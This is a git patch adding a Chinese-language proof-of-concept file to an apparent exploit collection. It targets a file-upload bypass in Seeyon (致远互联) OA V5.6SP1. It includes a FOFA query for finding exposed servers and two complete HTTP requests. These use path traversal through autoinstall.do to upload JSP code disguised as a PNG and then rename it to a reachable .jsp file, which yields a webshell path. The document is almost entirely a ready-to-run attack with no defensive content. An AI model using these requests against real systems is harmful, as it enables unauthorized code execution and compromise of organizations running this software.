From 4e76cff4f010b5291f74ddcc789c891f6c067a49 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Tue, 9 Apr 2024 21:36:42 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E8=87=B4=E8=BF=9C=E4=BA=92=E8=81=94-O?= =?UTF-8?q?A=E5=89=8D=E5=8F=B0fileUpload.do=E5=AD=98=E5=9C=A8=E7=BB=95?= =?UTF-8?q?=E8=BF=87=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...联-OA前台fileUpload.do存在绕过文件上传漏洞.md | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md diff --git a/致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md b/致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md new file mode 100644 index 0000000..80fabce --- /dev/null +++ b/致远互联-OA前台fileUpload.do存在绕过文件上传漏洞.md @@ -0,0 +1,65 @@ +## 致远互联-OA前台fileUpload.do存在绕过文件上传漏洞 + +## fofa +``` +title="协同管理软件 V5.6SP1" +``` + +## poc +``` +POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1 +Host: your-ip +Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 +Content-Type: multipart/form-data; boundary=00content0boundary00 +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30) + +--00content0boundary00 +Content-Disposition: form-data; name="type" + + +--00content0boundary00 +Content-Disposition: form-data; name="extensions" + +png +--00content0boundary00 +Content-Disposition: form-data; name="applicationCategory" + + +--00content0boundary00 +Content-Disposition: form-data; name="destDirectory" + + +--00content0boundary00 +Content-Disposition: form-data; name="destFilename" + + +--00content0boundary00 +Content-Disposition: form-data; name="maxSize" + + +--00content0boundary00 +Content-Disposition: form-data; name="isEncrypt" + +false +--00content0boundary00 +Content-Disposition: form-data; name="file1"; filename="1.png" +Content-Type: Content-Type: application/pdf + +<% out.println("hello");%> +--00content0boundary00-- +``` + +![image](https://github.com/wy876/POC/assets/139549762/63b91745-854d-4bd4-8a1b-2a14f124b030) + +携带fileid值将文件转换为jsp文件 +``` +POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1 +Host: +Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 +Content-type: application/x-www-form-urlencoded +User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) + +method=uploadMenuIcon&fileid=获取到的值&filename=qwe.jsp +``` + +文件路径 `http://ip/seeyon/main/menuIcon/qwe.jsp`